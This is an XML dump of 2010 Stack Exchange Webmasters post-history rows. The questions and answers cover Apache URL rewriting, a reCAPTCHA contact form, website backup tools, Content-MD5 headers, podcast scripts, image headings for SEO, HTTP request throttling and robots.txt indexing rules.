  <row Id="5749" PostHistoryTypeId="2" PostId="2944" RevisionGUID="47fefd47-5a71-44e1-9c6d-fee0069c724b" CreationDate="2010-09-10T10:17:22.783" UserId="1918" Text="Given a (slightly theoretical) physical disk layout of:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;\products\cameras\50d.jpg&#xD;&#xA;\products\cameras\20d.jpg&#xD;&#xA;\products\lenses\18-55.jpg&#xD;&#xA;\products\lenses\28-135.jpg&#xD;&#xA;\products.php&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;At the moment, I've URLs of the form:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;\products.php\&#xD;&#xA;\products.php\cameras\&#xD;&#xA;\products.php\cameras\50d&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;With the products.php using the PATH_INFO to make a decision on what to display.&#xD;&#xA;&#xD;&#xA;I'm struggling to rewrite the URL to remove the .php, but still allow static resources to be retrievable though?" />
  <row Id="5750" PostHistoryTypeId="1" PostId="2944" RevisionGUID="47fefd47-5a71-44e1-9c6d-fee0069c724b" CreationDate="2010-09-10T10:17:22.783" UserId="1918" Text="Removing the script extension with URL rewriting on Apache" />
  <row Id="5751" PostHistoryTypeId="3" PostId="2944" RevisionGUID="47fefd47-5a71-44e1-9c6d-fee0069c724b" CreationDate="2010-09-10T10:17:22.783" UserId="1918" Text="&lt;apache&gt;&lt;url-rewriting&gt;" />
  <row Id="5752" PostHistoryTypeId="5" PostId="2942" RevisionGUID="ce134ce2-2163-4566-aef9-6abe5007e890" CreationDate="2010-09-10T10:25:42.513" UserId="1867" Comment="added 535 characters in body" Text="I am working on what would appear to be a basic contact form. I am using the ColorBox plugin for jQuery to build a form with an image link, which then opens a ColorBox containing the reCAPTCHA form and the submit button for the form.&#xD;&#xA;&#xD;&#xA;This code works perfectly in IE7 upwards, and even works to an extent in IE6, yet in Firefox, Opera and Chrome when I click the submit button it appears to remove the entire page as if it were going through an actual link.&#xD;&#xA;&#xD;&#xA;I'm sure I'm making a really silly mistake here somewhere, so could someone have a quick look at my code and see where I'm going wrong? This problem has been bugging me for a while now and it's halting my progress with a lot of other stuff.&#xD;&#xA;&#xD;&#xA;**EDIT:** Silly me! I just realised that I hadn't even included the URL! Here's the shortened one I've been passing around on IRC...&#xD;&#xA;&#xD;&#xA;http://is.gd/f3M2s&#xD;&#xA;&#xD;&#xA;**EDIT 2: ** When the ColorBox is opened the following code is &quot;displayed&quot;, according to View Source.&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;http://www.google.com/recaptcha/api/js/recaptcha.js&quot;&gt;&lt;/script&gt;&lt;div id=&quot;recaptcha_widget_div&quot; style=&quot;display:none&quot;&gt;&lt;/div&gt;&lt;script&gt;Recaptcha.widget = Recaptcha.$(&quot;recaptcha_widget_div&quot;); Recaptcha.challenge_callback();&lt;/script&gt;&lt;div id=&quot;recaptcha_widget_div&quot; style=&quot;display:none&quot;&gt;&lt;/div&gt;&lt;script&gt;Recaptcha.widget = Recaptcha.$(&quot;recaptcha_widget_div&quot;); Recaptcha.challenge_callback();&lt;/script&gt;" />
  <row Id="5753" PostHistoryTypeId="5" PostId="2942" RevisionGUID="f25a9ef8-752a-46e9-9789-189194b7d223" CreationDate="2010-09-10T10:35:23.210" UserId="1867" Comment="deleted 1 characters in body" Text="I am working on what would appear to be a basic contact form. I am using the ColorBox plugin for jQuery to build a form with an image link, which then opens a ColorBox containing the reCAPTCHA form and the submit button for the form.&#xD;&#xA;&#xD;&#xA;This code works perfectly in IE7 upwards, and even works to an extent in IE6, yet in Firefox, Opera and Chrome when I click the submit button it appears to remove the entire page as if it were going through an actual link.&#xD;&#xA;&#xD;&#xA;I'm sure I'm making a really silly mistake here somewhere, so could someone have a quick look at my code and see where I'm going wrong? This problem has been bugging me for a while now and it's halting my progress with a lot of other stuff.&#xD;&#xA;&#xD;&#xA;**EDIT:** Silly me! I just realised that I hadn't even included the URL! Here's the shortened one I've been passing around on IRC...&#xD;&#xA;&#xD;&#xA;http://is.gd/f3M2s&#xD;&#xA;&#xD;&#xA;**EDIT 2:** When the ColorBox is opened the following code is &quot;displayed&quot;, according to View Source.&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;http://www.google.com/recaptcha/api/js/recaptcha.js&quot;&gt;&lt;/script&gt;&lt;div id=&quot;recaptcha_widget_div&quot; style=&quot;display:none&quot;&gt;&lt;/div&gt;&lt;script&gt;Recaptcha.widget = Recaptcha.$(&quot;recaptcha_widget_div&quot;); Recaptcha.challenge_callback();&lt;/script&gt;&lt;div id=&quot;recaptcha_widget_div&quot; style=&quot;display:none&quot;&gt;&lt;/div&gt;&lt;script&gt;Recaptcha.widget = Recaptcha.$(&quot;recaptcha_widget_div&quot;); Recaptcha.challenge_callback();&lt;/script&gt;" />
  <row Id="5754" PostHistoryTypeId="5" PostId="1782" RevisionGUID="3521b5ac-3f05-40b2-98a8-8faaef17514a" CreationDate="2010-09-10T11:09:21.353" UserId="590" Comment="added 168 characters in body; edited tags" Text="I'm looking for an Open Source website backup tool.  I'm more interested in Open Source so I can make changes if need be and possibly contribute to the software. &#xD;&#xA;&#xD;&#xA; 1. Automatic scheduled FTP backups from mutiple web servers.&#xD;&#xA; 2. MySQL backups from databases (only partially important as I can just do mySQL dumps and get those with ftp)   &#xD;&#xA; 3. Differential and/or Incremental backups (improtant for bandwidth and disk space.)&#xD;&#xA; 4. Windows 7 or Linux support.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm not really sure if this is a better question for Server Fault but I feel it can live here easy enough.  Thank you for any suggestions.&#xD;&#xA;&#xD;&#xA;Software I've found  &#xD;&#xA; - &lt;a href=&quot;http://www.educ.umu.se/~cobian/cobianbackup.htm&quot;&gt;Cobian Backup&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Note this for backing up data on web servers,  usually shared hosting.  Installing software on the remote server is impossible, so ftp and mysql access is about it." />
  <row Id="5755" PostHistoryTypeId="6" PostId="1782" RevisionGUID="3521b5ac-3f05-40b2-98a8-8faaef17514a" CreationDate="2010-09-10T11:09:21.353" UserId="590" Comment="added 168 characters in body; edited tags" Text="&lt;php&gt;&lt;mysql&gt;&lt;backups&gt;&lt;site-maintenance&gt;" />
  <row Id="5756" PostHistoryTypeId="5" PostId="2929" RevisionGUID="b2cd3c6d-8e84-4419-959a-542361c36df4" CreationDate="2010-09-10T12:01:35.747" UserId="1857" Comment="added 120 characters in body" Text="TCP already has error correction, but this only helps you on the TCP layer. An intermediary HTTP proxy or load balancer can corrupt the data on the HTTP layer, and then retransmit it. A HTTP MD5 makes it possible to detect this corruption. The reason why nobody really talks about this need is that the problem is very rare indeed; most HTTP proxies etc &quot;just work&quot;.&#xD;&#xA;&#xD;&#xA;The RFCs allude to security. IMHO this is so weak it should be ignored -- if you need any kind of real security and confidentiality, then you need HTTPS.&#xD;&#xA;&#xD;&#xA;&gt; Do certain media types include their own form of digest that makes this unnecessary?&#xD;&#xA;&#xD;&#xA;Not anything really good. But a few bit errors in photos, streaming video etc will often be imperceptible to humans.&#xD;&#xA;&#xD;&#xA;**I would say it depends on the use case:**&#xD;&#xA;&#xD;&#xA; - For REST based web services a digest adds a useful layer of additional error correction. See this [AWS failure as an example][1].&#xD;&#xA; - For applications dealing with mission-critical data (fx banking, medical), it is worth implementing. Content-MD5 gives clients the option to verify the end-to-end transmission integrity.&#xD;&#xA; - For any 'normal' web site serving up text and media of 'normal' value the Content-MD5 header serves no purpose. And I honestly don't even know how many mainstream browsers (PC, mobile) actually support it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.amazonwebservices.com/connect/thread.jspa?threadID=22709" />
  <row Id="5757" PostHistoryTypeId="2" PostId="2945" RevisionGUID="4a431523-e694-489b-a02a-15d958b1ce36" CreationDate="2010-09-10T12:15:25.483" UserId="233" Text="Firstly all those back-slashes must be forward-slashes. The `\` is used to &quot;escape&quot; special characters, not for folder separation.&#xD;&#xA;&#xD;&#xA;Rewriting `products.php` to `products` will not work if you have a products folder already. I'd suggest moving all the images to a different directory like `/images/cameras/50d.jpg`. Then you can do this:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^products products.php&#xD;&#xA;&#xD;&#xA;With that you will need to parse the requested URL in PHP to find the variables. You could also use this:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^products/([^/]+) products.php?cat=$1&#xD;&#xA;    RewriteRule ^products/([^/]+)/([^/]+) products.php?cat=$1&amp;prod=$2&#xD;&#xA;&#xD;&#xA;Now in your PHP script you automatically have the required variables via `$_GET['cat']` and `$_GET['prod']`.&#xD;&#xA;" />
  <row Id="5758" PostHistoryTypeId="5" PostId="2944" RevisionGUID="dde5e76e-066d-4f1d-9469-0b43c46aba41" CreationDate="2010-09-10T12:47:38.713" UserId="1918" Comment="Fix slashes" Text="Given a (slightly theoretical) physical disk layout of:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;\products\cameras\50d.jpg&#xD;&#xA;\products\cameras\20d.jpg&#xD;&#xA;\products\lenses\18-55.jpg&#xD;&#xA;\products\lenses\28-135.jpg&#xD;&#xA;\products.php&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;At the moment, I've URLs of the form:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;/products.php/&#xD;&#xA;/products.php/cameras/&#xD;&#xA;/products.php/cameras/50d&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;With the products.php using the PATH_INFO to make a decision on what to display.&#xD;&#xA;&#xD;&#xA;I'm struggling to rewrite the URL to remove the .php, but still allow static resources to be retrievable though?" />
  <row Id="5759" PostHistoryTypeId="2" PostId="2946" RevisionGUID="a0b0b362-f906-4969-a6d0-0ea1a1d023e7" CreationDate="2010-09-10T15:42:50.003" UserId="1926" Text="Hope this is the right stackexchange for this question... also I tried to tag this with &quot;podcasting&quot; but of course I can't do that yet...&#xD;&#xA;&#xD;&#xA;I'm looking for a simple asp.net script for running a self-hosted podcast. I can develop my own but before I invest the time I'd prefer to work from an existing code-base. prefer something with stats and analytics, as well as simple sharing to social networks and the like.&#xD;&#xA;&#xD;&#xA;it needs to be self-hosted, so please don't suggest websites that I have to sign up for; we want to run this entirely on our local servers.&#xD;&#xA;&#xD;&#xA;thanks!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5760" PostHistoryTypeId="1" PostId="2946" RevisionGUID="a0b0b362-f906-4969-a6d0-0ea1a1d023e7" CreationDate="2010-09-10T15:42:50.003" UserId="1926" Text="Run your own podcast on asp.net?" />
  <row Id="5761" PostHistoryTypeId="3" PostId="2946" RevisionGUID="a0b0b362-f906-4969-a6d0-0ea1a1d023e7" CreationDate="2010-09-10T15:42:50.003" UserId="1926" Text="&lt;asp.net&gt;" />
  <row Id="5762" PostHistoryTypeId="6" PostId="2946" RevisionGUID="7092a40e-3569-46cc-8471-004133990714" CreationDate="2010-09-10T15:51:10.400" UserId="1253" Comment="edited tags" Text="&lt;asp.net&gt;&lt;podcast&gt;" />
  <row Id="5763" PostHistoryTypeId="2" PostId="2947" RevisionGUID="2e477380-b6ba-4144-a75d-700ccd0f8ce6" CreationDate="2010-09-10T16:09:22.617" UserId="1074" Text="If you have any aspirations for being a successful freelancer or starting your own business, I'd personally use the opportunity to &quot;audition&quot; graphic designers for future work.  There's no better resource to have around than a good designer you can call on a moment's notice.&#xD;&#xA;&#xD;&#xA;Disclaimer--I was a designer prior to being a developer (am now UI developer)  The main difference for me between crowd sourcing and using a pro is that there's a level of communication that's lost in crowd sourcing.  Its the reason that canned templates just don't make a GREAT website--they weren't purpose built.  Sure, you can modify based on the theme given...but then, what are you paying for, really?  Also, maybe this won't happen with your personal site, but there's a tremendous amount of flux in design and the web process--no matter how bulletproof your requirements documents or wireframes are, things change....often, they change a LOT.  Now what?  Can you reliably count on the low-ball offer at 99 designs to quickly and cost-effectively change to fit your needs?  Did they properly layer and design for elements such as navigation and content?  That alone could cost you hours worth of extra work in the cutup phase.  If they give you poorly formatted html and CSS, you could REALLY be in for extra work.&#xD;&#xA;&#xD;&#xA;Great design STARTS with a designer.  I take mine to all my client planning meetings because they help shape the wireframes that lead to the final requirements.  Who knows better than them what &quot;works&quot; with design?  And, let's face it, clients don't care how great your code is--they care how easy it is to work with.  Code only matters to a client when it doesn't work....&#xD;&#xA;&#xD;&#xA;Good luck." />
  <row Id="5764" PostHistoryTypeId="5" PostId="2929" RevisionGUID="425a777d-db43-49e9-9a96-4a395724d81d" CreationDate="2010-09-10T16:13:19.613" UserId="1857" Comment="added 1 characters in body" Text="TCP already has error correction, but this only helps you on the TCP layer. An intermediary HTTP proxy or load balancer can corrupt the data on the HTTP layer, and then retransmit it. A HTTP MD5 makes it possible to detect this corruption. The reason why nobody really talks about this need is that the problem is very rare indeed; most HTTP proxies etc &quot;just work&quot;.&#xD;&#xA;&#xD;&#xA;The RFCs allude to security. IMHO this is so weak it should be ignored -- if you need any kind of real security and confidentiality, then you need HTTPS.&#xD;&#xA;&#xD;&#xA;&gt; Do certain media types include their own form of digest that makes this unnecessary?&#xD;&#xA;&#xD;&#xA;Not anything really good. But a few bit errors in photos, streaming video etc will often be imperceptible to humans.&#xD;&#xA;&#xD;&#xA;**I would say it depends on the use case:**&#xD;&#xA;&#xD;&#xA; - For REST based web services a digest adds a useful layer of additional error correction. See this [AWS failure as an example][1].&#xD;&#xA; - For applications dealing with mission-critical data over plain HTTP it is worth implementing. Content-MD5 gives clients the option to verify the end-to-end transmission integrity.&#xD;&#xA; - For 'normal' web sites serving up text and media of 'normal' value the Content-MD5 header serves no purpose. And I honestly don't even know how many mainstream browsers (PC, especially mobile) actually support it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.amazonwebservices.com/connect/thread.jspa?threadID=22709" />
  <row Id="5765" PostHistoryTypeId="2" PostId="2948" RevisionGUID="41a37f2b-00f2-4314-855a-af92ab115e34" CreationDate="2010-09-10T16:22:34.040" UserId="397" Text="Getting your domain and hosting from different companies is always a good idea.  If something goes wrong with your host and they also own the domain, they can hold your domain hostage until you work things out.  This can't happen if two separate companies are used." />
  <row Id="5766" PostHistoryTypeId="2" PostId="2949" RevisionGUID="55e154e3-c70b-4f92-9826-21d8dd948db5" CreationDate="2010-09-10T16:37:22.357" UserId="1757" Text="IMO, with this sort of thing, you should be more concerned with usability/accessibility than SEO (because SEO will tend to take care of itself). A page heading is a pretty critical part of your document; you want it to be accessible to everyone.&#xD;&#xA;&#xD;&#xA;That said, using `alt` text or using JS to replace a text heading with an image/flash is a good compromise. You keep accessibility and still have a nice clean pretty text.&#xD;&#xA;&#xD;&#xA;The most common legitimate reasons to do this are:&#xD;&#xA;&#xD;&#xA; - To use a non-standard font without having to deal with licensing/conversion/support issues of embedding a web font. Web font support is only now starting to come into its own, and although there are some commercial/free services that simplify the acquisition of embeddable web fonts, their support on mobile browsers is limited.&#xD;&#xA; - Highly stylized headings that just aren't possible to do with standard text. Even with CSS3, which is not yet supported by most browsers, there is a limit to what you can achieve with stylized text. This is usually a better excuse for ads, callouts/pull-quotes, or other non-content text, but it can be excusable for sites which are for promotional/branding/entertainment purposes rather than informational purposes.&#xD;&#xA;&#xD;&#xA;The most common non-legitimate reasons to do this is web developer incompetence. These are the web developers that make the body text an image as well, or make an e-commerce site entirely out of Flash.&#xD;&#xA;&#xD;&#xA;Things to consider:&#xD;&#xA;&#xD;&#xA; - You cannot highlight or copy-n-paste these headings. So even if you are using alt-text or JS-replacement, usability is greatly impacted. This is less of an issue if the headings are short and simple (e.g. &quot;About Us&quot;, &quot;Contact&quot;, &quot;News&quot;, etc.), and you can attenuate this by using Flash, though that comes with its own problems.&#xD;&#xA;   - On a personal note, I use a plug-in called &quot;context search&quot;, which lets me highlight text on a page and do a quick search with it from the context menu using any of the search tools I have installed for Firefox. Likewise, many people use dictionary tooltip plugins that let them quickly look up a word on a page just by double-clicking it. Flash completely disables this, which is quite annoying.&#xD;&#xA; - You cannot dynamically resize the text as some people like to do. So if someone wants to reduce the font size to view more text on the screen, or increase font size to read the text better, they are SOL. This is particular pertinent to the visually impaired and those using mobile browsers.&#xD;&#xA; - Images do not text-wrap well. So those using lower resolution screens could have some major layout issues. Flash may be a little better if combined with some kind of JS workaround.&#xD;&#xA; - Even if you include alt text, you're altering the semantic structure of the page. This can have consequences for web crawlers, screen readers, and other software that processes web pages. Again, using a JS-replacement could largely attenuate this.&#xD;&#xA;&#xD;&#xA;I wouldn't worry about dynamic headings since you can always generate text images server-side, but there are plenty of reasons to think long and hard before doing this. And if you are going to do it, I would recommend using a well-tested JS- &amp; Flash-based solution like sIFR." />
  <row Id="5767" PostHistoryTypeId="5" PostId="2949" RevisionGUID="5a5bfaae-2efa-4c2d-a9f9-0a10b6dc5552" CreationDate="2010-09-10T16:45:47.270" UserId="1757" Comment="expand" Text="IMO, with this sort of thing, you should be more concerned with usability/accessibility than SEO (because SEO will tend to take care of itself). A page heading is a pretty critical part of your document; you want it to be accessible to everyone.&#xD;&#xA;&#xD;&#xA;That said, using `alt` text or using JS to replace a text heading with an image/flash is a good compromise. You keep accessibility and still have a nice clean pretty text.&#xD;&#xA;&#xD;&#xA;The most common legitimate reasons to do this are:&#xD;&#xA;&#xD;&#xA; - To use a non-standard font without having to deal with licensing/conversion/support issues of embedding a web font. Web font support is only now starting to come into its own, and although there are some commercial/free services that simplify the acquisition of embeddable web fonts, their support on mobile browsers is limited.&#xD;&#xA; - Highly stylized headings that just aren't possible to do with standard text. Even with CSS3, which is not yet supported by most browsers, there is a limit to what you can achieve with stylized text. This is usually a better excuse for ads, callouts/pull-quotes, or other non-content text, but it can be excusable for sites which are for promotional/branding/entertainment purposes rather than informational purposes.&#xD;&#xA;&#xD;&#xA;The most common non-legitimate reasons to do this is web developer incompetence. These are the web developers that make the body text an image as well, or make an e-commerce site entirely out of Flash.&#xD;&#xA;&#xD;&#xA;Things to consider:&#xD;&#xA;&#xD;&#xA; - You cannot highlight or copy-n-paste these headings. So even if you are using alt-text or JS-replacement, usability is greatly impacted. This is less of an issue if the headings are short and simple (e.g. &quot;About Us&quot;, &quot;Contact&quot;, &quot;News&quot;, etc.), and you can attenuate this by using Flash, though that comes with its own problems.&#xD;&#xA;   - On a personal note, I use a plug-in called &quot;context search&quot;, which lets me highlight text on a page and do a quick search with it from the context menu using any of the search tools I have installed for Firefox. Likewise, many people use dictionary tooltip plugins that let them quickly look up a word on a page just by double-clicking it. Flash completely disables this, which is quite annoying.&#xD;&#xA; - You cannot dynamically resize the text as some people like to do. So if someone wants to reduce the font size to view more text on the screen, or increase font size to read the text better, they are SOL. This is particular pertinent to the visually impaired and those using mobile browsers.&#xD;&#xA; - Images do not text-wrap well. So those using lower resolution screens could have some major layout issues. Flash may be a little better if combined with some kind of JS workaround.&#xD;&#xA; - Even if you include alt text, you're altering the semantic structure of the page. This can have consequences for web crawlers, screen readers, and other software that processes web pages. Again, using a JS-replacement could largely attenuate this.&#xD;&#xA;&#xD;&#xA;I wouldn't worry about dynamic headings since you can always generate text images server-side, but there are plenty of reasons to think long and hard before doing this. And if you are going to do it, I would recommend using a well-tested JS- &amp; Flash-based solution like sIFR.&#xD;&#xA;&#xD;&#xA;**Edit:**&lt;br/&gt;&#xD;&#xA;One more thing&amp;mdash;one possible workaround that many people use (but there is some disagreement on the ethics of) is to use an image and then hide a `span` element containing the text behind the image or off-screen. This means that crawlers can see the text, and even screen readers, and this requires only CSS and no JS support. Some people consider this &quot;spammy&quot;, but I think it's legitimate if you're using this technique to describe text images rather than for keyword stuffing or bait-n-switch SEO." />
  <row Id="5768" PostHistoryTypeId="2" PostId="2950" RevisionGUID="ad413f17-fbf7-4b96-93f2-cbdae45da92d" CreationDate="2010-09-10T17:41:44.020" UserId="795" Text="[JavaBB][1] is probably the biggest one?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[mvnForum][2] is open source&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.javabb.org/&#xD;&#xA;  [2]: http://sourceforge.net/projects/mvnforum/" />
  <row Id="5769" PostHistoryTypeId="16" PostId="2950" RevisionGUID="ad413f17-fbf7-4b96-93f2-cbdae45da92d" CreationDate="2010-09-10T17:41:44.020" UserId="-1" />
  <row Id="5770" PostHistoryTypeId="5" PostId="2926" RevisionGUID="0ab6b9dd-b06c-4724-8e1c-ff05f2916c8f" CreationDate="2010-09-10T19:40:30.150" UserId="180" Comment="removed hyperlink" Text="The project I was working/coding on from last couple of months is done from a development point of view. The project is a lightweight desktop video streaming application in Adobe Air. I also put up a website to publish it:&#xD;&#xA;&#xD;&#xA;`http://awesome.fm/client`&#xD;&#xA;&#xD;&#xA;I am less experience in marketing or spreading products. Can you guys just give me ideas on how to proceed from here?&#xD;&#xA;&#xD;&#xA;What I want to know is, how do real startup owners spread the product they make?&#xD;&#xA;&#xD;&#xA;Whatsoever, any opinion will be helpful.&#xD;&#xA;" />
  <row Id="5771" PostHistoryTypeId="2" PostId="2951" RevisionGUID="8902c79b-41e2-49e2-9955-3ee4e59a6ce0" CreationDate="2010-09-10T20:22:00.337" UserDisplayName="Roinator" Text="Unless you are storing data in files, I would use version control to keep track of different revisions of the websites code.  You could use subversion, but imo git is better.&#xD;&#xA;&#xD;&#xA;However, it does make sense to maintain backups to the database.  The best thing to do would be to run a sort of cron job which uses MySQL's features to make a backup.  These backups can then be archived and compressed.  On GNU/Linux the command is mysqldump, but I don't know about windows. " />
  <row Id="5772" PostHistoryTypeId="2" PostId="2952" RevisionGUID="05339ee1-9972-4e0a-a58d-8f4f2e9d4295" CreationDate="2010-09-10T22:53:46.267" UserDisplayName="Bob Jacobs" Text="I have a custom HTTP server.&#xD;&#xA;&#xD;&#xA;When F5 is held down in a browser the server gets slammed with requests.&#xD;&#xA;&#xD;&#xA;How can I detect and limit these (or any other) invalid connections?&#xD;&#xA;&#xD;&#xA;It seems that I would have to record, for each incoming IP, the length of time between each request and whether or not the request was valid. If a certain number of invalid requests are received in a certain period time, I would simply disconnect (or ban) all further connections coming from that IP for a certain period of time.&#xD;&#xA;&#xD;&#xA;Does anyone have any articles, pointers or tips on this subject?&#xD;&#xA; " />
  <row Id="5773" PostHistoryTypeId="1" PostId="2952" RevisionGUID="05339ee1-9972-4e0a-a58d-8f4f2e9d4295" CreationDate="2010-09-10T22:53:46.267" UserDisplayName="Bob Jacobs" Text="HTTP Server invalid request/connection throttling" />
  <row Id="5774" PostHistoryTypeId="3" PostId="2952" RevisionGUID="05339ee1-9972-4e0a-a58d-8f4f2e9d4295" CreationDate="2010-09-10T22:53:46.267" UserDisplayName="Bob Jacobs" Text="&lt;security&gt;&lt;http-server&gt;" />
  <row Id="5775" PostHistoryTypeId="2" PostId="2953" RevisionGUID="9472c3f6-aa44-4d1f-8623-46f5f4ebf6d1" CreationDate="2010-09-11T01:51:10.487" UserId="829" Text="As has been said, having `.php` or `?page=` doesn't really matter. What *does* matter is if you're doing something like this:&#xD;&#xA;&#xD;&#xA;&gt; http://www.example.com/index.php?page=13" />
  <row Id="5780" PostHistoryTypeId="2" PostId="2956" RevisionGUID="fcf2985d-a8d5-4115-a8fa-10b929ca3fc1" CreationDate="2010-09-11T08:18:05.017" UserDisplayName="morpheous" Text="When I type site:example.com (using my domain obviously),&#xD;&#xA;&#xD;&#xA;I get several link errors showing up in the listing. Typically, they are of the form:&#xD;&#xA;&#xD;&#xA;www.example.com/some/fixed/path/admin/unblockUser/11&#xD;&#xA;&#xD;&#xA;I am thinking of adding the following line to my robots.txt file:&#xD;&#xA;&#xD;&#xA;Disallow: /some/fixed/path/admin/*&#xD;&#xA;&#xD;&#xA;Will this fix the problem?&#xD;&#xA;&#xD;&#xA;Alos, is there any way I can removed the erroneously cached pages from the google cache?" />
  <row Id="5781" PostHistoryTypeId="1" PostId="2956" RevisionGUID="fcf2985d-a8d5-4115-a8fa-10b929ca3fc1" CreationDate="2010-09-11T08:18:05.017" UserDisplayName="morpheous" Text="How to stop certain urls from being indexed" />
  <row Id="5782" PostHistoryTypeId="3" PostId="2956" RevisionGUID="fcf2985d-a8d5-4115-a8fa-10b929ca3fc1" CreationDate="2010-09-11T08:18:05.017" UserDisplayName="morpheous" Text="&lt;google&gt;&lt;robots.txt&gt;" />
  <row Id="5783" PostHistoryTypeId="2" PostId="2957" RevisionGUID="03c8f0dc-9701-4163-bd80-42595d5140fc" CreationDate="2010-09-11T10:25:13.533" UserId="1881" Text="For publishing your facebook app offcially, you need 10 monthly users or 5 total users (check out the paradox :s), but the thing is, while quite a lot of people have visited my app, and about 30 liked it, my insight statistics aren't updated, so I can't publish the app --'&#xD;&#xA;&#xD;&#xA;Does anyone know how long it takes before they update the statistics?" />
  <row Id="5784" PostHistoryTypeId="1" PostId="2957" RevisionGUID="03c8f0dc-9701-4163-bd80-42595d5140fc" CreationDate="2010-09-11T10:25:13.533" UserId="1881" Text="Facebook application: insights not updated" />
  <row Id="5785" PostHistoryTypeId="3" PostId="2957" RevisionGUID="03c8f0dc-9701-4163-bd80-42595d5140fc" CreationDate="2010-09-11T10:25:13.533" UserId="1881" Text="&lt;facebook&gt;&lt;statistics&gt;" />
  <row Id="5786" PostHistoryTypeId="6" PostId="2956" RevisionGUID="b16dd6d3-7b4a-4c9a-a584-d84b9eda3211" CreationDate="2010-09-11T11:52:05.340" UserId="1603" Comment="edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;robots.txt&gt;" />
  <row Id="5787" PostHistoryTypeId="2" PostId="2958" RevisionGUID="f4521c88-7a93-4fb5-afe1-33d7c1eaf47f" CreationDate="2010-09-11T11:56:13.553" UserId="1857" Text="There are **2 main ways to prevent search engines from indexing specific pages**:&#xD;&#xA;&#xD;&#xA; 1. A Robots.txt file for your domain.&#xD;&#xA; 2. The Meta Robots tag on each page.&#xD;&#xA;&#xD;&#xA;Robots.txt should be your first stop for URL patterns that match several files. You can see the [full syntax here][1]. The robots.txt file must be placed in the root folder of your domain, i.e. at `http://www.yourdomain.com/robots.txt` , and it would contain something like:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /path/with-trailing-slash/&#xD;&#xA;&#xD;&#xA;(The text coloring above is done by the Stackexchange software, and should be ignored.)&#xD;&#xA;&#xD;&#xA;The Meta Robots tag is more flexible and capable, but must be inserted in every page you want to affect. Again Google has [a overview of how to use Meta Robots][2], and how to get pages removed from their index. Wikipedia has more [comprehensive documentation on Meta Robots][3], including the search engine specific derivations.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=156449&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=93710&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Meta_element#The_robots_attribute" />
  <row Id="5788" PostHistoryTypeId="2" PostId="2959" RevisionGUID="9235f29a-30eb-4400-87d8-36d45f59ab27" CreationDate="2010-09-11T12:08:33.567" UserId="1603" Text="Yes, that will fix the problem. To prevent content from showing up in Googles indexes you can either use robots.txt or the html meta tag &#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow, noarchive&quot; /&gt;&#xD;&#xA;&#xD;&#xA;The next time your site is indexed this will make your content drop out of the Google index. Notice the `noarchive` value – this will block caching of your page. This is Google specific.&#xD;&#xA;&#xD;&#xA;You can use the ‘removal tool’ in Googles Webmaster Tools to request a very urgent removal of your content. Note that you should block indexing of your content first (using either robots.txt or the meta robots tag).&#xD;&#xA;&#xD;&#xA;More info:&#xD;&#xA;&#xD;&#xA; - http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=164734&#xD;&#xA; - http://www.google.com/support/webmasters/bin/answer.py?answer=182072&#xD;&#xA; - http://www.robotstxt.org/meta.html" />
  <row Id="5789" PostHistoryTypeId="5" PostId="2958" RevisionGUID="cb335589-d364-4c9c-8c07-5ae4acf15b95" CreationDate="2010-09-11T12:12:20.750" UserId="1857" Comment="added 124 characters in body" Text="There are **2 main ways to prevent search engines from indexing specific pages**:&#xD;&#xA;&#xD;&#xA; 1. A Robots.txt file for your domain.&#xD;&#xA; 2. The Meta Robots tag on each page.&#xD;&#xA;&#xD;&#xA;Robots.txt should be your first stop for URL patterns that match several files. You can see the [full syntax here][1]. The robots.txt file must be placed in the root folder of your domain, i.e. at `http://www.yourdomain.com/robots.txt` , and it would contain something like:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /path/with-trailing-slash/&#xD;&#xA;&#xD;&#xA;(The text coloring above is done by the Stackexchange software, and should be ignored.)&#xD;&#xA;&#xD;&#xA;The Meta Robots tag is more flexible and capable, but must be inserted in every page you want to affect. Again Google has [a overview of how to use Meta Robots][2], and how to get [pages removed from their index][3] via Webmaster Tools. Wikipedia has more [comprehensive documentation on Meta Robots][4], including the search engine specific derivations.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=156449&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=93710&#xD;&#xA;  [3]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=164734&amp;from=61062&amp;rd=1&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Meta_element#The_robots_attribute" />
